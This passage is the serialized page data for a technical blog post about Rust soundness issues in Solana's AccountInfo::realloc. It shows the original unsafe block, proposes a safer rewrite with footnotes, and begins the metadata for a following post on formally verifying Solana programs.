",{"type":22,"tag":42,"props":19590,"children":19593},{"href":19591,"rel":19592},"https://docs.rs/solana-program/1.10.30/solana_program/program/fn.invoke_signed_unchecked.html#safety",[46],[19594],{"type":28,"value":19595},"small",{"type":28,"value":8467},{"type":22,"tag":42,"props":19598,"children":19601},{"href":19599,"rel":19600},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcpy.html#safety",[46],[19602],{"type":28,"value":19603},"pile",{"type":28,"value":8467},{"type":22,"tag":42,"props":19606,"children":19609},{"href":19607,"rel":19608},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memset.html#safety",[46],[19610],{"type":28,"value":19611},"of",{"type":28,"value":8467},{"type":22,"tag":42,"props":19614,"children":19617},{"href":19615,"rel":19616},"https://docs.rs/solana-program/1.11.2/solana_program/program_memory/fn.sol_memcmp.html#safety",[46],[19618],{"type":28,"value":19619},"functions",{"type":28,"value":19621}," that are actually unsafe but aren't marked as such for API compatibility reasons (and the last three - all related to each other - don't even have the comment until version 1.11, which isn't even on mainnet as of the time of writing).",{"type":22,"tag":23,"props":19623,"children":19625},{"id":19624},"towards-safer-unsafe",[19626,19628],{"type":28,"value":19627},"Towards safer ",{"type":22,"tag":114,"props":19629,"children":19631},{"className":19630},[],[19632],{"type":28,"value":16336},{"type":22,"tag":31,"props":19634,"children":19635},{},[19636,19638,19643,19645,19650,19652,19659],{"type":28,"value":19637},"Let's circle back to that main ",{"type":22,"tag":114,"props":19639,"children":19641},{"className":19640},[],[19642],{"type":28,"value":16336},{"type":28,"value":19644}," block inside ",{"type":22,"tag":114,"props":19646,"children":19648},{"className":19647},[],[19649],{"type":28,"value":15632},{"type":28,"value":19651}," for a bit, shall we? As a reminder, it looks like ",{"type":22,"tag":42,"props":19653,"children":19656},{"href":19654,"rel":19655},"https://docs.rs/solana-program/1.10.28/src/solana_program/account_info.rs.html#127-136",[46],[19657],{"type":28,"value":19658},"this",{"type":28,"value":213},{"type":22,"tag":107,"props":19661,"children":19663},{"className":109,"code":19662,"language":111,"meta":7,"style":7},"// realloc\nunsafe {\n    // First set new length in the serialized data\n    let ptr = self.try_borrow_mut_data()?.as_mut_ptr().offset(-8) as *mut u64;\n    *ptr = new_len as u64;\n\n    // Then set the new length in the local slice\n    let ptr = &mut *(((self.data.as_ptr() as *const u64).offset(1) as u64) as *mut u64);\n    *ptr = new_len as u64;\n}\n",[19664],{"type":22,"tag":114,"props":19665,"children":19666},{"__ignoreMap":7},[19667,19675,19686,19694,19781,19812,19819,19827,19954,19985],{"type":22,"tag":118,"props":19668,"children":19669},{"class":120,"line":121},[19670],{"type":22,"tag":118,"props":19671,"children":19672},{"style":257},[19673],{"type":28,"value":19674},"// realloc\n",{"type":22,"tag":118,"props":19676,"children":19677},{"class":120,"line":142},[19678,19682],{"type":22,"tag":118,"props":19679,"children":19680},{"style":146},[19681],{"type":28,"value":16336},{"type":22,"tag":118,"props":19683,"children":19684},{"style":125},[19685],{"type":28,"value":1474},{"type":22,"tag":118,"props":19687,"children":19688},{"class":120,"line":177},[19689],{"type":22,"tag":118,"props":19690,"children":19691},{"style":257},[19692],{"type":28,"value":19693},"    // First set new length in the serialized data\n",{"type":22,"tag":118,"props":19695,"children":19696},{"class":120,"line":195},[19697,19701,19705,19709,19713,19717,19721,19725,19729,19733,19737,19741,19745,19749,19753,19757,19761,19765,19769,19773,19777],{"type":22,"tag":118,"props":19698,"children":19699},{"style":146},[19700],{"type":28,"value":4152},{"type":22,"tag":118,"props":19702,"children":19703},{"style":204},[19704],{"type":28,"value":15842},{"type":22,"tag":118,"props":19706,"children":19707},{"style":210},[19708],{"type":28,"value":837},{"type":22,"tag":118,"props":19710,"children":19711},{"style":146},[19712],{"type":28,"value":2100},{"type":22,"tag":118,"props":19714,"children":19715},{"style":210},[19716],{"type":28,"value":292},{"type":22,"tag":118,"props":19718,"children":19719},{"style":532},[19720],{"type":28,"value":15859},{"type":22,"tag":118,"props":19722,"children":19723},{"style":125},[19724],{"type":28,"value":1200},{"type":22,"tag":118,"props":19726,"children":19727},{"style":210},[19728],{"type":28,"value":1205},{"type":22,"tag":118,"props":19730,"children":19731},{"style":532},[19732],{"type":28,"value":15872},{"type":22,"tag":118,"props":19734,"children":19735},{"style":125},[19736],{"type":28,"value":1200},{"type":22,"tag":118,"props":19738,"children":19739},{"style":210},[19740],{"type":28,"value":292},{"type":22,"tag":118,"props":19742,"children":19743},{"style":532},[19744],{"type":28,"value":15885},{"type":22,"tag":118,"props":19746,"children":19747},{"style":125},[19748],{"type":28,"value":540},{"type":22,"tag":118,"props":19750,"children":19751},{"style":210},[19752],{"type":28,"value":6340},{"type":22,"tag":118,"props":19754,"children":19755},{"style":674},[19756],{"type":28,"value":6090},{"type":22,"tag":118,"props":19758,"children":19759},{"style":125},[19760],{"type":28,"value":588},{"type":22,"tag":118,"props":19762,"children":19763},{"style":146},[19764],{"type":28,"value":1215},{"type":22,"tag":118,"props":19766,"children":19767},{"style":210},[19768],{"type":28,"value":11815},{"type":22,"tag":118,"props":19770,"children":19771},{"style":146},[19772],{"type":28,"value":188},{"type":22,"tag":118,"props":19774,"children":19775},{"style":131},[19776],{"type":28,"value":583},{"type":22,"tag":118,"props":19778,"children":19779},{"style":125},[19780],{"type":28,"value":801},{"type":22,"tag":118,"props":19782,"children":19783},{"class":120,"line":244},[19784,19788,19792,19796,19800,19804,19808],{"type":22,"tag":118,"props":19785,"children":19786},{"style":210},[19787],{"type":28,"value":19526},{"type":22,"tag":118,"props":19789,"children":19790},{"style":204},[19791],{"type":28,"value":15933},{"type":22,"tag":118,"props":19793,"children":19794},{"style":210},[19795],{"type":28,"value":837},{"type":22,"tag":118,"props":19797,"children":19798},{"style":204},[19799],{"type":28,"value":15942},{"type":22,"tag":118,"props":19801,"children":19802},{"style":146},[19803],{"type":28,"value":10829},{"type":22,"tag":118,"props":19805,"children":19806},{"style":131},[19807],{"type":28,"value":583},{"type":22,"tag":118,"props":19809,"children":19810},{"style":125},[19811],{"type":28,"value":801},{"type":22,"tag":118,"props":19813,"children":19814},{"class":120,"line":253},[19815],{"type":22,"tag":118,"props":19816,"children":19817},{"emptyLinePlaceholder":15},[19818],{"type":28,"value":250},{"type":22,"tag":118,"props":19820,"children":19821},{"class":120,"line":263},[19822],{"type":22,"tag":118,"props":19823,"children":19824},{"style":257},[19825],{"type":28,"value":19826},"    // Then set the new length in the local slice\n",{"type":22,"tag":118,"props":19828,"children":19829},{"class":120,"line":318},[19830,19834,19838,19842,19846,19850,19854,19858,19862,19866,19870,19874,19878,19882,19886,19890,19894,19898,19902,19906,19910,19914,19918,19922,19926,19930,19934,19938,19942,19946,19950],{"type":22,"tag":118,"props":19831,"children":19832},{"style":146},[19833],{"type":28,"value":4152},{"type":22,"tag":118,"props":19835,"children":19836},{"style":204},[19837],{"type":28,"value":15842},{"type":22,"tag":118,"props":19839,"children":19840},{"style":210},[19841],{"type":28,"value":837},{"type":22,"tag":118,"props":19843,"children":19844},{"style":210},[19845],{"type":28,"value":1430},{"type":22,"tag":118,"props":19847,"children":19848},{"style":146},[19849],{"type":28,"value":188},{"type":22,"tag":118,"props":19851,"children":19852},{"style":210},[19853],{"type":28,"value":11815},{"type":22,"tag":118,"props":19855,"children":19856},{"style":125},[19857],{"type":28,"value":16001},{"type":22,"tag":118,"props":19859,"children":19860},{"style":146},[19861],{"type":28,"value":1412},{"type":22,"tag":118,"props":19863,"children":19864},{"style":210},[19865],{"type":28,"value":292},{"type":22,"tag":118,"props":19867,"children":19868},{"style":125},[19869],{"type":28,"value":5715},{"type":22,"tag":118,"props":19871,"children":19872},{"style":210},[19873],{"type":28,"value":292},{"type":22,"tag":118,"props":19875,"children":19876},{"style":532},[19877],{"type":28,"value":16022},{"type":22,"tag":118,"props":19879,"children":19880},{"style":125},[19881],{"type":28,"value":2182},{"type":22,"tag":118,"props":19883,"children":19884},{"style":146},[19885],{"type":28,"value":1215},{"type":22,"tag":118,"props":19887,"children":19888},{"style":210},[19889],{"type":28,"value":11815},{"type":22,"tag":118,"props":19891,"children":19892},{"style":146},[19893],{"type":28,"value":11653},{"type":22,"tag":118,"props":19895,"children":19896},{"style":131},[19897],{"type":28,"value":583},{"type":22,"tag":118,"props":19899,"children":19900},{"style":125},[19901],{"type":28,"value":3627},{"type":22,"tag":118,"props":19903,"children":19904},{"style":210},[19905],{"type":28,"value":292},{"type":22,"tag":118,"props":19907,"children":19908},{"style":532},[19909],{"type":28,"value":15885},{"type":22,"tag":118,"props":19911,"children":19912},{"style":125},[19913],{"type":28,"value":540},{"type":22,"tag":118,"props":19915,"children":19916},{"style":674},[19917],{"type":28,"value":6026},{"type":22,"tag":118,"props":19919,"children":19920},{"style":125},[19921],{"type":28,"value":588},{"type":22,"tag":118,"props":19923,"children":19924},{"style":146},[19925],{"type":28,"value":1215},{"type":22,"tag":118,"props":19927,"children":19928},{"style":131},[19929],{"type":28,"value":583},{"type":22,"tag":118,"props":19931,"children":19932},{"style":125},[19933],{"type":28,"value":588},{"type":22,"tag":118,"props":19935,"children":19936},{"style":146},[19937],{"type":28,"value":1215},{"type":22,"tag":118,"props":19939,"children":19940},{"style":210},[19941],{"type":28,"value":11815},{"type":22,"tag":118,"props":19943,"children":19944},{"style":146},[19945],{"type":28,"value":188},{"type":22,"tag":118,"props":19947,"children":19948},{"style":131},[19949],{"type":28,"value":583},{"type":22,"tag":118,"props":19951,"children":19952},{"style":125},[19953],{"type":28,"value":682},{"type":22,"tag":118,"props":19955,"children":19956},{"class":120,"line":351},[19957,19961,19965,19969,19973,19977,19981],{"type":22,"tag":118,"props":19958,"children":19959},{"style":210},[19960],{"type":28,"value":19526},{"type":22,"tag":118,"props":19962,"children":19963},{"style":204},[19964],{"type":28,"value":15933},{"type":22,"tag":118,"props":19966,"children":19967},{"style":210},[19968],{"type":28,"value":837},{"type":22,"tag":118,"props":19970,"children":19971},{"style":204},[19972],{"type":28,"value":15942},{"type":22,"tag":118,"props":19974,"children":19975},{"style":146},[19976],{"type":28,"value":10829},{"type":22,"tag":118,"props":19978,"children":19979},{"style":131},[19980],{"type":28,"value":583},{"type":22,"tag":118,"props":19982,"children":19983},{"style":125},[19984],{"type":28,"value":801},{"type":22,"tag":118,"props":19986,"children":19987},{"class":120,"line":359},[19988],{"type":22,"tag":118,"props":19989,"children":19990},{"style":125},[19991],{"type":28,"value":481},{"type":22,"tag":31,"props":19993,"children":19994},{},[19995,19997,20002],{"type":28,"value":19996},"We've seen how we could have ran into all sorts of issues here, with the usage of slice layout details, the reborrow creating an unbounded lifetime, and the ",{"type":22,"tag":114,"props":19998,"children":20000},{"className":19999},[],[20001],{"type":28,"value":17478},{"type":28,"value":20003}," borrow not accurately representing the actual usage of its contents. We can do better than this.",{"type":22,"tag":31,"props":20005,"children":20006},{},[20007,20009,20014,20016,20021,20023,20028,20030,20035,20037,20042,20044,20050,20052,20062,20064,20075],{"type":28,"value":20008},"First, let's deal with the ",{"type":22,"tag":114,"props":20010,"children":20012},{"className":20011},[],[20013],{"type":28,"value":17478},{"type":28,"value":20015}," borrowing issue. When we ",{"type":22,"tag":114,"props":20017,"children":20019},{"className":20018},[],[20020],{"type":28,"value":15859},{"type":28,"value":20022},", we get a ",{"type":22,"tag":114,"props":20024,"children":20026},{"className":20025},[],[20027],{"type":28,"value":18706},{"type":28,"value":20029}," back, which represents our borrow of the ",{"type":22,"tag":114,"props":20031,"children":20033},{"className":20032},[],[20034],{"type":28,"value":17478},{"type":28,"value":20036},"'s data. The fix here is simple: keep that ",{"type":22,"tag":114,"props":20038,"children":20040},{"className":20039},[],[20041],{"type":28,"value":18706},{"type":28,"value":20043}," around and use it to access the data, instead of using ",{"type":22,"tag":114,"props":20045,"children":20047},{"className":20046},[],[20048],{"type":28,"value":20049},"RefCell::as_ptr",{"type":28,"value":20051},". Next, the slice; again, the fix is simple. Instead of attempting to modify just the length field, and resorting to using layout information to do so since Rust slices are immutable, we can simply construct a new slice reference and set that. The Rust compiler",{"type":22,"tag":17448,"props":20053,"children":20054},{},[20055],{"type":22,"tag":42,"props":20056,"children":20060},{"href":20057,"ariaDescribedBy":20058,"dataFootnoteRef":7,"id":20059},"#user-content-fn-rustc-llvm",[17455],"user-content-fnref-rustc-llvm",[20061],{"type":28,"value":19493},{"type":28,"value":20063}," is smart enough to realize that the only thing changing is the length field, and so only emits the code to set the length",{"type":22,"tag":17448,"props":20065,"children":20066},{},[20067],{"type":22,"tag":42,"props":20068,"children":20072},{"href":20069,"ariaDescribedBy":20070,"dataFootnoteRef":7,"id":20071},"#user-content-fn-godbolt",[17455],"user-content-fnref-godbolt",[20073],{"type":28,"value":20074},"5",{"type":28,"value":20076},". So then we get:",{"type":22,"tag":107,"props":20078,"children":20080},{"className":109,"code":20079,"language":111,"meta":7,"style":7},"let mut slice = self.try_borrow_mut_data()?;\n\n// First set new length in the serialized data\nlet ptr = unsafe { slice.as_mut_ptr().offset(-8) } as *mut u64;\nunsafe { *ptr = new_len as u64 };\n\n// Then set the new length in the local slice\n*slice = unsafe { std::slice::from_raw_parts_mut(slice.as_mut_ptr(), new_len) };\n",[20081],{"type":22,"tag":114,"props":20082,"children":20083},{"__ignoreMap":7},[20084,20128,20135,20142,20226,20266,20273,20280],{"type":22,"tag":118,"props":20085,"children":20086},{"class":120,"line":121},[20087,20091,20095,20100,20104,20108,20112,20116,20120,20124],{"type":22,"tag":118,"props":20088,"children":20089},{"style":146},[20090],{"type":28,"value":3149},{"type":22,"tag":118,"props":20092,"children":20093},{"style":146},[20094],{"type":28,"value":4157},{"type":22,"tag":118,"props":20096,"children":20097},{"style":204},[20098],{"type":28,"value":20099}," slice",{"type":22,"tag":118,"props":20101,"children":20102},{"style":210},[20103],{"type":28,"value":837},{"type":22,"tag":118,"props":20105,"children":20106},{"style":146},[20107],{"type":28,"value":2100},{"type":22,"tag":118,"props":20109,"children":20110},{"style":210},[20111],{"type":28,"value":292},{"type":22,"tag":118,"props":20113,"children":20114},{"style":532},[20115],{"type":28,"value":15859},{"type":22,"tag":118,"props":20117,"children":20118},{"style":125},[20119],{"type":28,"value":1200},{"type":22,"tag":118,"props":20121,"children":20122},{"style":210},[20123],{"type":28,"value":796},{"type":22,"tag":118,"props":20125,"children":20126},{"style":125},[20127],{"type":28,"value":801},{"type":22,"tag":118,"props":20129,"children":20130},{"class":120,"line":142},[20131],{"type":22,"tag":118,"props":20132,"children":20133},{"emptyLinePlaceholder":15},[20134],{"type":28,"value":250},{"type":22,"tag":118,"props":20136,"children":20137},{"class":120,"line":177},[20138],{"type":22,"tag":118,"props":20139,"children":20140},{"style":257},[20141],{"type":28,"value":16383},{"type":22,"tag":118,"props":20143,"children":20144},{"class":120,"line":195},[20145,20149,20153,20157,20161,20165,20169,20173,20177,20181,20185,20189,20193,20197,20201,20206,20210,20214,20218,20222],{"type":22,"tag":118,"props":20146,"children":20147},{"style":146},[20148],{"type":28,"value":3149},{"type":22,"tag":118,"props":20150,"children":20151},{"style":204},[20152],{"type":28,"value":15842},{"type":22,"tag":118,"props":20154,"children":20155},{"style":210},[20156],{"type":28,"value":837},{"type":22,"tag":118,"props":20158,"children":20159},{"style":146},[20160],{"type":28,"value":16570},{"type":22,"tag":118,"props":20162,"children":20163},{"style":125},[20164],{"type":28,"value":11584},{"type":22,"tag":118,"props":20166,"children":20167},{"style":204},[20168],{"type":28,"value":17289},{"type":22,"tag":118,"props":20170,"children":20171},{"style":210},[20172],{"type":28,"value":292},{"type":22,"tag":118,"props":20174,"children":20175},{"style":532},[20176],{"type":28,"value":15872},{"type":22,"tag":118,"props":20178,"children":20179},{"style":125},[20180],{"type":28,"value":1200},{"type":22,"tag":118,"props":20182,"children":20183},{"style":210},[20184],{"type":28,"value":292},{"type":22,"tag":118,"props":20186,"children":20187},{"style":532},[20188],{"type":28,"value":15885},{"type":22,"tag":118,"props":20190,"children":20191},{"style":125},[20192],{"type":28,"value":540},{"type":22,"tag":118,"props":20194,"children":20195},{"style":210},[20196],{"type":28,"value":6340},{"type":22,"tag":118,"props":20198,"children":20199},{"style":674},[20200],{"type":28,"value":6090},{"type":22,"tag":118,"props":20202,"children":20203},{"style":125},[20204],{"type":28,"value":20205},") } ",{"type":22,"tag":118,"props":20207,"children":20208},{"style":146},[20209],{"type":28,"value":1215},{"type":22,"tag":118,"props":20211,"children":20212},{"style":210},[20213],{"type":28,"value":11815},{"type":22,"tag":118,"props":20215,"children":20216},{"style":146},[20217],{"type":28,"value":188},{"type":22,"tag":118,"props":20219,"children":20220},{"style":131},[20221],{"type":28,"value":583},{"type":22,"tag":118,"props":20223,"children":20224},{"style":125},[20225],{"type":28,"value":801},{"type":22,"tag":118,"props":20227,"children":20228},{"class":120,"line":244},[20229,20233,20237,20241,20245,20249,20253,20257,20261],{"type":22,"tag":118,"props":20230,"children":20231},{"style":146},[20232],{"type":28,"value":16336},{"type":22,"tag":118,"props":20234,"children":20235},{"style":125},[20236],{"type":28,"value":11584},{"type":22,"tag":118,"props":20238,"children":20239},{"style":210},[20240],{"type":28,"value":671},{"type":22,"tag":118,"props":20242,"children":20243},{"style":204},[20244],{"type":28,"value":15933},{"type":22,"tag":118,"props":20246,"children":20247},{"style":210},[20248],{"type":28,"value":837},{"type":22,"tag":118,"props":20250,"children":20251},{"style":204},[20252],{"type":28,"value":15942},{"type":22,"tag":118,"props":20254,"children":20255},{"style":146},[20256],{"type":28,"value":10829},{"type":22,"tag":118,"props":20258,"children":20259},{"style":131},[20260],{"type":28,"value":583},{"type":22,"tag":118,"props":20262,"children":20263},{"style":125},[20264],{"type":28,"value":20265}," };\n",{"type":22,"tag":118,"props":20267,"children":20268},{"class":120,"line":253},[20269],{"type":22,"tag":118,"props":20270,"children":20271},{"emptyLinePlaceholder":15},[20272],{"type":28,"value":250},{"type":22,"tag":118,"props":20274,"children":20275},{"class":120,"line":263},[20276],{"type":22,"tag":118,"props":20277,"children":20278},{"style":257},[20279],{"type":28,"value":18107},{"type":22,"tag":118,"props":20281,"children":20282},{"class":120,"line":318},[20283,20287,20291,20295,20299,20304,20308,20312,20316,20321,20325,20329,20333,20337,20342,20346],{"type":22,"tag":118,"props":20284,"children":20285},{"style":210},[20286],{"type":28,"value":671},{"type":22,"tag":118,"props":20288,"children":20289},{"style":204},[20290],{"type":28,"value":17289},{"type":22,"tag":118,"props":20292,"children":20293},{"style":210},[20294],{"type":28,"value":837},{"type":22,"tag":118,"props":20296,"children":20297},{"style":146},[20298],{"type":28,"value":16570},{"type":22,"tag":118,"props":20300,"children":20301},{"style":125},[20302],{"type":28,"value":20303}," { std",{"type":22,"tag":118,"props":20305,"children":20306},{"style":210},[20307],{"type":28,"value":1190},{"type":22,"tag":118,"props":20309,"children":20310},{"style":125},[20311],{"type":28,"value":17289},{"type":22,"tag":118,"props":20313,"children":20314},{"style":210},[20315],{"type":28,"value":1190},{"type":22,"tag":118,"props":20317,"children":20318},{"style":532},[20319],{"type":28,"value":20320},"from_raw_parts_mut",{"type":22,"tag":118,"props":20322,"children":20323},{"style":125},[20324],{"type":28,"value":540},{"type":22,"tag":118,"props":20326,"children":20327},{"style":204},[20328],{"type":28,"value":17289},{"type":22,"tag":118,"props":20330,"children":20331},{"style":210},[20332],{"type":28,"value":292},{"type":22,"tag":118,"props":20334,"children":20335},{"style":532},[20336],{"type":28,"value":15872},{"type":22,"tag":118,"props":20338,"children":20339},{"style":125},[20340],{"type":28,"value":20341},"(), ",{"type":22,"tag":118,"props":20343,"children":20344},{"style":204},[20345],{"type":28,"value":15713},{"type":22,"tag":118,"props":20347,"children":20348},{"style":125},[20349],{"type":28,"value":16724},{"type":22,"tag":31,"props":20351,"children":20352},{},[20353,20355,20360,20362,20367,20369,20374,20376],{"type":28,"value":20354},"No more pointer casting except for the one place that actually needs it (since the ABI for the serialized buffer uses a ",{"type":22,"tag":114,"props":20356,"children":20358},{"className":20357},[],[20359],{"type":28,"value":10046},{"type":28,"value":20361}," and not a ",{"type":22,"tag":114,"props":20363,"children":20365},{"className":20364},[],[20366],{"type":28,"value":18567},{"type":28,"value":20368}," for the size field, given that ",{"type":22,"tag":114,"props":20370,"children":20372},{"className":20371},[],[20373],{"type":28,"value":18567},{"type":28,"value":20375}," is architecture-dependent), and no dependency on slice reference internals!",{"type":22,"tag":17448,"props":20377,"children":20378},{},[20379],{"type":22,"tag":42,"props":20380,"children":20384},{"href":20381,"ariaDescribedBy":20382,"dataFootnoteRef":7,"id":20383},"#user-content-fn-slice-unbound-lifetime",[17455],"user-content-fnref-slice-unbound-lifetime",[20385],{"type":28,"value":20386},"6",{"type":22,"tag":20388,"props":20389,"children":20392},"section",{"className":20390,"dataFootnotes":7},[20391],"footnotes",[20393,20400],{"type":22,"tag":23,"props":20394,"children":20397},{"className":20395,"id":17455},[20396],"sr-only",[20398],{"type":28,"value":20399},"Footnotes",{"type":22,"tag":4029,"props":20401,"children":20402},{},[20403,20508,20526,20581,20594,20622],{"type":22,"tag":68,"props":20404,"children":20406},{"id":20405},"user-content-fn-rc-refs",[20407,20409,20415,20417,20422,20424,20428,20430,20434,20436,20441,20443,20449,20451,20456,20458,20468,20470,20475,20477,20482,20484,20489,20491,20497,20499],{"type":28,"value":20408},"I find it helpful to view owning an ",{"type":22,"tag":114,"props":20410,"children":20412},{"className":20411},[],[20413],{"type":28,"value":20414},"Rc\u003CT>",{"type":28,"value":20416}," as holding a shared reference to the underlying ",{"type":22,"tag":114,"props":20418,"children":20420},{"className":20419},[],[20421],{"type":28,"value":7997},{"type":28,"value":20423}," (stored in the magical land of I-don't-need-to-care-about-this-object-not-living-long-enough known as the heap). Owning the ",{"type":22,"tag":4764,"props":20425,"children":20426},{},[20427],{"type":28,"value":18424},{"type":28,"value":20429}," ensures that the actual ",{"type":22,"tag":4764,"props":20431,"children":20432},{},[20433],{"type":28,"value":5715},{"type":28,"value":20435}," stays alive, however all you have is a reference to the ",{"type":22,"tag":114,"props":20437,"children":20439},{"className":20438},[],[20440],{"type":28,"value":7997},{"type":28,"value":20442}," (through the ",{"type":22,"tag":114,"props":20444,"children":20446},{"className":20445},[],[20447],{"type":28,"value":20448},"Deref\u003CTarget = T>",{"type":28,"value":20450}," impl) - ",{"type":22,"tag":4764,"props":20452,"children":20453},{},[20454],{"type":28,"value":20455},"not",{"type":28,"value":20457}," ownership ",{"type":22,"tag":4764,"props":20459,"children":20460},{},[20461,20463],{"type":28,"value":20462},"of the ",{"type":22,"tag":114,"props":20464,"children":20466},{"className":20465},[],[20467],{"type":28,"value":7997},{"type":28,"value":20469},". In short, owning an ",{"type":22,"tag":114,"props":20471,"children":20473},{"className":20472},[],[20474],{"type":28,"value":20414},{"type":28,"value":20476}," is owning a (shared, read-only) reference to ",{"type":22,"tag":114,"props":20478,"children":20480},{"className":20479},[],[20481],{"type":28,"value":7997},{"type":28,"value":20483},", not owning ",{"type":22,"tag":114,"props":20485,"children":20487},{"className":20486},[],[20488],{"type":28,"value":7997},{"type":28,"value":20490}," directly like with ",{"type":22,"tag":114,"props":20492,"children":20494},{"className":20493},[],[20495],{"type":28,"value":20496},"Box\u003CT>",{"type":28,"value":20498},". ",{"type":22,"tag":42,"props":20500,"children":20505},{"href":20501,"ariaLabel":20502,"className":20503,"dataFootnoteBackref":7},"#user-content-fnref-rc-refs","Back to reference 1",[20504],"data-footnote-backref",[20506],{"type":28,"value":20507},"↩",{"type":22,"tag":68,"props":20509,"children":20511},{"id":20510},"user-content-fn-sendsync",[20512,20518,20519],{"type":22,"tag":114,"props":20513,"children":20515},{"className":20514},[],[20516],{"type":28,"value":20517},"!Send + !Sync",{"type":28,"value":8467},{"type":22,"tag":42,"props":20520,"children":20524},{"href":20521,"ariaLabel":20522,"className":20523,"dataFootnoteBackref":7},"#user-content-fnref-sendsync","Back to reference 2",[20504],[20525],{"type":28,"value":20507},{"type":22,"tag":68,"props":20527,"children":20529},{"id":20528},"user-content-fn-layout",[20530,20532,20537,20538,20551,20553,20558,20560,20565,20567,20572,20574],{"type":28,"value":20531},"Note that this is a terrible idea for yet another reason: ",{"type":22,"tag":114,"props":20533,"children":20535},{"className":20534},[],[20536],{"type":28,"value":3028},{"type":28,"value":7511},{"type":22,"tag":42,"props":20539,"children":20542},{"href":20540,"rel":20541},"https://docs.rs/solana-program/1.10.30/src/solana_program/account_info.rs.html#15-33",[46],[20543,20545],{"type":28,"value":20544},"not declared with ",{"type":22,"tag":114,"props":20546,"children":20548},{"className":20547},[],[20549],{"type":28,"value":20550},"#[repr(C)]",{"type":28,"value":20552},", meaning that, once again, we're dealing with no layout guarantees. But thanks to the power of blockchain, fixing this ABI interface ",{"type":22,"tag":4764,"props":20554,"children":20555},{},[20556],{"type":28,"value":20557},"breaks the entire chain",{"type":28,"value":20559}," since old contracts will no longer work. So, we're stuck with cobbling together ",{"type":22,"tag":4764,"props":20561,"children":20562},{},[20563],{"type":28,"value":20564},"some",{"type":28,"value":20566}," kind of interface to the specific layout of the specific ",{"type":22,"tag":114,"props":20568,"children":20570},{"className":20569},[],[20571],{"type":28,"value":18476},{"type":28,"value":20573}," versions used to build on-chain code for all eternity... ",{"type":22,"tag":42,"props":20575,"children":20579},{"href":20576,"ariaLabel":20577,"className":20578,"dataFootnoteBackref":7},"#user-content-fnref-layout","Back to reference 3",[20504],[20580],{"type":28,"value":20507},{"type":22,"tag":68,"props":20582,"children":20584},{"id":20583},"user-content-fn-rustc-llvm",[20585,20587],{"type":28,"value":20586},"Actually, it's LLVM that does the optimization ",{"type":22,"tag":42,"props":20588,"children":20592},{"href":20589,"ariaLabel":20590,"className":20591,"dataFootnoteBackref":7},"#user-content-fnref-rustc-llvm","Back to reference 4",[20504],[20593],{"type":28,"value":20507},{"type":22,"tag":68,"props":20595,"children":20597},{"id":20596},"user-content-fn-godbolt",[20598,20605,20607,20613,20615],{"type":22,"tag":42,"props":20599,"children":20602},{"href":20600,"rel":20601},"https://godbolt.org/z/PK46xMbxc",[46],[20603],{"type":28,"value":20604},"Click here",{"type":28,"value":20606}," for a Compiler Explorer link showing this - note that the code for both implementations is almost identical. And yes, it's x86_64 and not eBPF, but unfortunately Compiler Explorer doesn't have Rust ",{"type":22,"tag":114,"props":20608,"children":20610},{"className":20609},[],[20611],{"type":28,"value":20612},"libcore",{"type":28,"value":20614}," available for other architectures yet. ",{"type":22,"tag":42,"props":20616,"children":20620},{"href":20617,"ariaLabel":20618,"className":20619,"dataFootnoteBackref":7},"#user-content-fnref-godbolt","Back to reference 5",[20504],[20621],{"type":28,"value":20507},{"type":22,"tag":68,"props":20623,"children":20625},{"id":20624},"user-content-fn-slice-unbound-lifetime",[20626,20628,20633,20635,20641,20643,20649,20651,20657,20659,20665,20667,20673,20675,20680,20682],{"type":28,"value":20627},"The astute reader may have noticed that ",{"type":22,"tag":114,"props":20629,"children":20631},{"className":20630},[],[20632],{"type":28,"value":20320},{"type":28,"value":20634}," still returns an unbounded lifetime (notice in the signature ",{"type":22,"tag":114,"props":20636,"children":20638},{"className":20637},[],[20639],{"type":28,"value":20640},"unsafe fn from_raw_parts_mut\u003C'a, T>(data: *mut T, len: usize) -> &'a mut [T]",{"type":28,"value":20642},", the lifetime parameter ",{"type":22,"tag":114,"props":20644,"children":20646},{"className":20645},[],[20647],{"type":28,"value":20648},"'a",{"type":28,"value":20650}," does not appear in the arguments). However, we immediately constrain the lifetime by assigning it to ",{"type":22,"tag":114,"props":20652,"children":20654},{"className":20653},[],[20655],{"type":28,"value":20656},"*slice",{"type":28,"value":20658},", which is ",{"type":22,"tag":114,"props":20660,"children":20662},{"className":20661},[],[20663],{"type":28,"value":20664},"&'info [u8]",{"type":28,"value":20666}," (where ",{"type":22,"tag":114,"props":20668,"children":20670},{"className":20669},[],[20671],{"type":28,"value":20672},"'info",{"type":28,"value":20674}," is the lifetime parameter of the ",{"type":22,"tag":114,"props":20676,"children":20678},{"className":20677},[],[20679],{"type":28,"value":3028},{"type":28,"value":20681}," struct) - this is exactly the lifetime we started with. ",{"type":22,"tag":42,"props":20683,"children":20687},{"href":20684,"ariaLabel":20685,"className":20686,"dataFootnoteBackref":7},"#user-content-fnref-slice-unbound-lifetime","Back to reference 6",[20504],[20688],{"type":28,"value":20507},{"type":22,"tag":4880,"props":20690,"children":20691},{},[20692],{"type":28,"value":4884},{"title":7,"searchDepth":142,"depth":142,"links":20694},[20695,20701,20705,20706,20708],{"id":16348,"depth":142,"text":20696,"children":20697},"Breaking down realloc",[20698,20699],{"id":16514,"depth":177,"text":16517},{"id":17859,"depth":177,"text":20700},"Back to realloc",{"id":18808,"depth":142,"text":18811,"children":20702},[20703,20704],{"id":18814,"depth":177,"text":18817},{"id":19036,"depth":177,"text":19039},{"id":19222,"depth":142,"text":19225},{"id":19624,"depth":142,"text":20707},"Towards safer unsafe",{"id":17455,"depth":142,"text":20399},"content:blog:2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references.md","blog/2022-12-09-rust-realloc-and-references",{"_path":20713,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":20714,"description":20715,"author":20716,"image":20717,"date":20719,"isFeatured":15,"onBlogPage":15,"tags":20720,"body":20721,"_type":4896,"_id":30939,"_source":4898,"_file":30940,"_stem":30941,"_extension":4901},"/blog/2023-01-26-formally-verifying-solana-programs","Solana Formal Verification: A Case Study","We present a novel framework for formal verification of Solana Anchor programs — and a case study application to the Squads 